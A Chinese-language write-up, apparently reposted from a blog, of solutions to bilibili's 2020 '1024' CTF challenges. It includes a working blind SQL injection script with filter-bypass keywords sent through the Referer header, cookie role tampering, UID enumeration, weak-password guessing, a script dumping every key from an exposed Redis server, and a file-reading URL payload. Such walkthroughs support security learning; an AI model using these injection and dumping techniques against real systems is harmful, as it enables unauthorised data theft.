bilibili | 您所在的位置:网站首页 › 哔哩哔哩网站答题答案 › bilibili |
hi~各位,这里是Alan_极蓝星辰,在本篇专栏中会尽可能详细给出bilibili-1024-CTF题目的答案和解题思路,本专栏仅代表个人观点,不代表#用户反馈论坛#与B站官方。本人学生党,技术力不精,望轻喷。(引用其他人思路会给出来源和作者) 第一题:页面的背后是什么? 题干链接:http://45.113.201.36/index.html 解:在中找到flag1 T1-Elements中找到的flag1第二题:真正的秘密只有特殊的设备才能看到 题干链接:http://45.113.201.36/index.html 解:改User Agent 为bilibili Security Browser来实现模拟访问,得到flag2 T2-调用Network condition工具T2-在工具中更改UA第三题:密码是啥? 题干链接:http://45.113.201.36/login.html 解:弱口令,用户名admin,密码bilibili,主要靠猜,没什么好说的… T3-输入账号密码登录得到flag3第四题:对不起,权限不足~ 题干链接:http://45.113.201.36/superadmin.html 解:改cookies,将其中的role改为7b7bc2512ee1fedcd76bdc68926d4f7b,即为Administrator转换为MD5后的值。 T4-改role的值第五题:别人的秘密 题干链接:http://45.113.201.36/user.html 解:穷举,在elements里面存在for(var uid = 100336889;uid < 100336999;uid++) 我取到200 OK时的值为:http://45.113.201.36/api/ctf/5?uid=100336930 每个人应该不一样,自己写程序跑一遍或者手打都可以(此处手动@从1开始遍历的techzjc) T5-elements里面可找到第六题:结束亦是开始 题干链接:http://45.113.201.36/blog/single.php?id=1 解:托techzjc的福(?),他在git上找到了给出第六题思路(同样感谢大佬,后面会放出git链接) 这里放出代码: import requests url = 'http://45.113.201.36/blog/single.php?id=1' flag = '' for i in range(1, 100): left = 33 right = 128 while right - left != 1: mid = (left + right) // 2 payload = "0123'^if(substr((selselectect flag from flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format( i=i, mid=hex(mid)) headers = { 'Referer': payload } r = requests.get(url=url, headers=headers) if len(r.text) == 5596: left = mid else: right = mid flag += chr(right) print(flag) PS:这里跑出的结果不区分cookies,所以每个人的flag6结果都一样,这里不给答案,自己解一下趴~ 第七题:??? 题干链接:??? 解:(我是真没解出来,爬了爬了,后期有想法了或者有大佬发了,会更新的) 第八题:连接假的Redis题干链接:120.92.151.189:6379(算题干嘛...) 首先,装轮子 pip3 install redis 接着,跑以下代码,会自动返回结果 import redis print('Connect the Server...') try: r = redis.StrictRedis(host='120.92.151.189', port=6379) keys = r.keys() print('We got the flag:') for key in keys: value = r.get(key) print(key, value) except: print('Error:Connect timed out') pass PS:这个Redis已经被玩坏了,但愿神仙们不要把flag8改掉,做个人吧 第九题:??? 题干链接:??? 解:(我是真没解出来,爬了爬了,后期有想法了或者有大佬发了,会更新的) 第十题:JSF*ck(可能是恶趣味吧) 题干链接:http://45.113.201.36/blog/test.php(每个人的靶机地址不一定一样) 解:连接至靶机http://45.113.201.36/blog/test.php(每个人的靶机可能不同,注意下ip),将网页中的JSF*ck全部复制到console中,会得到str1和str2,不出意外的话应该是 var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9" var str2 = "bilibili1024havefun"; 其中,str1可以转义为“程序员最多的地方”(翻译了没什么用...可能) str2可在github找到结果(有很多坏小子设置干扰项,无视就行了hhh) 构建 Payload 以获取 Flag,最终的payload:/blog/end.php?id[]=x&id[]=0.1&url=./flag.txt 不出意外应该会有个图片,用npp或者其他什么的打开,末尾就是flag了 (如果你了解他们的尿性,Ctrl+F你懂我意思) (逃~) T10-管你能不能看懂,反正我给你了最后,根据网安的朋友口中说,这种题比较简单,偏娱乐向,所以主要是图个乐,想涨涨知识的也可以看看,或者投个币都行(逃),最后放一下部分题目思路来源,尊重下原作者的知识产权~ 信息来源: 1.github——2020-bilibili-sec1024 AyalaKaguya https://github.com/AyalaKaguya/2020-bilibili-sec1024/blob/551abf7ab9bbfbe11ade01cacf77b037f1b14eb8/bili.js 2.github——interesting-1024 interesting-1024 https://github.com/interesting-1024/end/blob/main/end.php 3.私人博客Sukka Sukka https://blog.skk.moe/post/2020-bilibili-1024-ctf-write-up/ |
CopyRight 2018-2019 实验室设备网 版权所有 |